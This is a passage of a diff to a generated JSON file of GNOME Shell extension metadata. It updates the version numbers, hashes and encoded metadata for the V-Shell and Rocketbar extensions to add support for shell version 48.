     "43": {"version": "78", "sha256": "18v9gvcs2s6niqyal2nlqslkh8rx9b4q02n4mxfsmcm1i9bqzn4c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwgKFZlcnRpY2FsIFdvcmtzcGFjZXMpIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy52ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3OCwKICAidmVyc2lvbi1uYW1lIjogIjQ0LjE0Igp9"},
     "44": {"version": "78", "sha256": "18v9gvcs2s6niqyal2nlqslkh8rx9b4q02n4mxfsmcm1i9bqzn4c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwgKFZlcnRpY2FsIFdvcmtzcGFjZXMpIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy52ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3OCwKICAidmVyc2lvbi1uYW1lIjogIjQ0LjE0Igp9"},
-    "45": {"version": "90", "sha256": "1k22j6nglv751mvz0vwkyzv9p7idrrvraf814zfnflapmcl5r0p4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjgiCn0="},
-    "46": {"version": "90", "sha256": "1k22j6nglv751mvz0vwkyzv9p7idrrvraf814zfnflapmcl5r0p4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjgiCn0="},
-    "47": {"version": "90", "sha256": "1k22j6nglv751mvz0vwkyzv9p7idrrvraf814zfnflapmcl5r0p4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjgiCn0="},
-    "48": {"version": "90", "sha256": "1k22j6nglv751mvz0vwkyzv9p7idrrvraf814zfnflapmcl5r0p4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjgiCn0="}
+    "45": {"version": "91", "sha256": "1vjnn7vfjh347ipyphs8vk11fn25w6fn18drhjz1bk9f8vk1mmyq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjkiCn0="},
+    "46": {"version": "91", "sha256": "1vjnn7vfjh347ipyphs8vk11fn25w6fn18drhjz1bk9f8vk1mmyq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjkiCn0="},
+    "47": {"version": "91", "sha256": "1vjnn7vfjh347ipyphs8vk11fn25w6fn18drhjz1bk9f8vk1mmyq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjkiCn0="},
+    "48": {"version": "91", "sha256": "1vjnn7vfjh347ipyphs8vk11fn25w6fn18drhjz1bk9f8vk1mmyq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5MSwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjkiCn0="}
   }}
 , {"uuid": "rocketbar@chepkun.github.com", "name": "Rocketbar", "pname": "rocketbar", "description": "Taskbar and misc additions for the GNOME Shell.", "link": "https://extensions.gnome.org/extension/5180/rocketbar/", "shell_version_map": {
     "42": {"version": "8", "sha256": "0p8msiyqpic8d0cv65j97gqp03vgi935rqgs2gjrffq3cg7wy2iq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuXG5cbkEgbmV3IG1ham9yIHJlbGVhc2Ugd2lsbCBiZSBvdXQgbGF0ZXIgdGhpcyB5ZWFyLi4uIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbGludXgtaXMtYXdlc29tZS9nbm9tZV9leHRlbnNpb25fcm9ja2V0YmFyIiwKICAidXVpZCI6ICJyb2NrZXRiYXJAY2hlcGt1bi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="},
     "43": {"version": "8", "sha256": "0p8msiyqpic8d0cv65j97gqp03vgi935rqgs2gjrffq3cg7wy2iq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuXG5cbkEgbmV3IG1ham9yIHJlbGVhc2Ugd2lsbCBiZSBvdXQgbGF0ZXIgdGhpcyB5ZWFyLi4uIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbGludXgtaXMtYXdlc29tZS9nbm9tZV9leHRlbnNpb25fcm9ja2V0YmFyIiwKICAidXVpZCI6ICJyb2NrZXRiYXJAY2hlcGt1bi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="},
     "44": {"version": "8", "sha256": "0p8msiyqpic8d0cv65j97gqp03vgi935rqgs2gjrffq3cg7wy2iq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuXG5cbkEgbmV3IG1ham9yIHJlbGVhc2Ugd2lsbCBiZSBvdXQgbGF0ZXIgdGhpcyB5ZWFyLi4uIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbGludXgtaXMtYXdlc29tZS9nbm9tZV9leHRlbnNpb25fcm9ja2V0YmFyIiwKICAidXVpZCI6ICJyb2NrZXRiYXJAY2hlcGt1bi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="},
     "45": {"version": "10", "sha256": "0xk47cqjpm7fjcywf96jqal2n883zw104zbdca1vyyjmvp5m6q9r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2xpbnV4LWlzLWF3ZXNvbWUvZ25vbWVfZXh0ZW5zaW9uX3JvY2tldGJhciIsCiAgInV1aWQiOiAicm9ja2V0YmFyQGNoZXBrdW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxMAp9"},
-    "46": {"version": "12", "sha256": "0q9nbf9bc5b0rmmq14c7vx7ickz55snjwnaw04gn63nj1an36mah", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9saW51eC1pcy1hd2Vzb21lL2dub21lX2V4dGVuc2lvbl9yb2NrZXRiYXIiLAogICJ1dWlkIjogInJvY2tldGJhckBjaGVwa3VuLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTIKfQ=="},
-    "47": {"version": "12", "sha256": "0q9nbf9bc5b0rmmq14c7vx7ickz55snjwnaw04gn63nj1an36mah", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9saW51eC1pcy1hd2Vzb21lL2dub21lX2V4dGVuc2lvbl9yb2NrZXRiYXIiLAogICJ1dWlkIjogInJvY2tldGJhckBjaGVwa3VuLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTIKfQ=="}
+    "46": {"version": "13", "sha256": "16qkkc8xrbrspgxg764ddmmqp17ihxj7rn2sm619apyin375cy8z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbGludXgtaXMtYXdlc29tZS9nbm9tZV9leHRlbnNpb25fcm9ja2V0YmFyIiwKICAidXVpZCI6ICJyb2NrZXRiYXJAY2hlcGt1bi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzCn0="},
+    "47": {"version": "13", "sha256": "16qkkc8xrbrspgxg764ddmmqp17ihxj7rn2sm619apyin375cy8z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbGludXgtaXMtYXdlc29tZS9nbm9tZV9leHRlbnNpb25fcm9ja2V0YmFyIiwKICAidXVpZCI6ICJyb2NrZXRiYXJAY2hlcGt1bi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzCn0="},
+    "48": {"version": "13", "sha256": "16qkkc8xrbrspgxg764ddmmqp17ihxj7rn2sm619apyin375cy8z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRhc2tiYXIgYW5kIG1pc2MgYWRkaXRpb25zIGZvciB0aGUgR05PTUUgU2hlbGwuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicm9ja2V0YmFyIiwKICAibmFtZSI6ICJSb2NrZXRiYXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucm9ja2V0YmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbGludXgtaXMtYXdlc29tZS9nbm9tZV9leHRlbnNpb25fcm9ja2V0YmFyIiwKICAidXVpZCI6ICJyb2NrZXRiYXJAY2hlcGt1bi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzCn0="}
   }}
 , {"uuid": "contestcountdown@raghav", "name": "Contest Countdown", "pname": "contest-countdown", "description": "Countdown to next coding contests. This extension uses the API of kontests.net to get the list of all upcoming contests. A countdown to the closest upcoming contest (that you are participating in) is shown in the panel, which can be clicked on to view the list of all upcoming contests.", "link": "https://extensions.gnome.org/extension/5183/contest-countdown/", "shell_version_map": {
